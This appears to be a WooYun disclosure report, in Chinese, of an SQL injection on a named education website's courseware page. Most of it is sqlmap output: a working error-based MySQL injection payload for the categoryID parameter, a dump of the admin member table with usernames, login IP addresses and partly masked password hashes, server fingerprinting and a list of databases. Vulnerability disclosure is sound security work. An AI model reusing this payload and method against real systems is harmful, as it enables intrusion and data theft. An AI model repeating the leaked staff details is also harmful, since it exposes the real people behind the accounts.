WooYun.org

注入地址：http://client.100e.com/tool/Book/Courseware/Add/index.aspx?categoryID=2
想必这个地址比较隐秘，怎么发现的呢。。
http://img.100e.com/js/Common/地址
发现其中一个就是http://client.100e.com/tool/EnterRoom
于是访问了一下，爆出了源码，于是去掉EnterRoom，之后就吓尿了，阅遍了。。
当我到这个目录的时候，sql注入即将产生

看这个地址

我在后面加个'

看到了吧，注入产生，于是马上sqlmap跑
之后......

想必是连接到了主站的数据库
Database: 100eDB
Table: Admin_Member
[10 entries]
+----+---------------------+----------+---------------------+-----------------+-
------------+---------------------+-------------+------------------+
| id | CPWdDate | Disabled | BuildDate | LastLogIP |
MemberName | LastLogDate | Description | MemberPassWord |
+----+---------------------+----------+---------------------+-----------------+-
------------+---------------------+-------------+------------------+
| 25 | 2013-03-15 19:55:03 | 0 | 2005-09-01 19:32:14 | 113.77.205.65 |
symen | 2013-07-29 11:36:13 | <blank> | **fc9184dae7aa** |
| 26 | 2007-12-03 10:27:09 | 1 | 2005-09-05 12:58:57 | 210.51.18.37 |
lvyang | 2007-12-04 13:06:03 | ?? | <blank> |
| 27 | 2009-04-26 09:29:56 | 1 | 2005-09-12 17:08:11 | 211.103.201.164 |
xyp | 2010-01-14 17:54:19 | <blank> | <blank> |
| 28 | 2007-12-12 17:21:31 | 1 | 2005-09-15 13:06:48 | 210.51.18.37 |
pxc | 2008-02-13 17:40:51 | <blank> | <blank> |
| 30 | 2009-04-16 11:36:34 | 1 | 2005-09-16 13:11:33 | 123.114.176.16 |
rogerguo | 2011-04-25 13:46:08 | <blank> | <blank> |
| 31 | 2009-05-05 17:37:14 | 0 | 2005-09-16 15:35:35 | 60.10.199.57 |
xiehaiying | 2013-06-03 10:53:21 | <blank> | 50387a114988bf7d |
| 32 | 2009-05-05 17:38:07 | 0 | 2005-09-16 15:38:56 | 60.10.199.57 |
xiehaiying1 | 2012-12-18 12:36:29 | <blank> | **387a114988bf** |
| 34 | 2009-05-14 13:56:26 | 1 | 2005-09-16 18:00:11 | 211.103.201.164 |
liubo | 2011-04-07 14:36:52 | <blank> | <blank> |
| 35 | 2008-05-20 17:45:35 | 0 | 2005-09-16 19:13:08 | 210.51.18.37 |
panhai | 2008-05-20 17:45:53 | <blank> | <blank> |
| 36 | 2009-04-30 15:18:16 | 0 | 2005-09-19 13:51:07 | 60.10.199.57 |
xiaoshoubu | 2013-08-07 13:55:52 | ??? | **ca0b7ca95ec3** |
+----+---------------------+----------+---------------------+-----------------+-
------------+---------------------+-------------+------------------+
Place: GET
Parameter: categoryID
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: categoryID=2 AND (SELECT 9497 FROM(SELECT COUNT(*),CONCAT(0x7174667
871,(SELECT (CASE WHEN (9497=9497) THEN 1 ELSE 0 END)),0x716a716571,FLOOR(RAND(0
)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
---
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: MySQL 5.0
available databases [23]:
[*] 100eDB
[*] 100eDB2
[*] 100eZone
[*] Admin
[*] AppendDB
[*] Book
[*] Chat7
[*] Chat7_Log
[*] ClientLog
[*] Course
[*] Edu
[*] Group
[*] information_schema
[*] IPLocation
[*] mysql
[*] School
[*] TEC
[*] TemporaryDB
[*] test
[*] User
[*] VC2008
[*] VC6
[*] VC7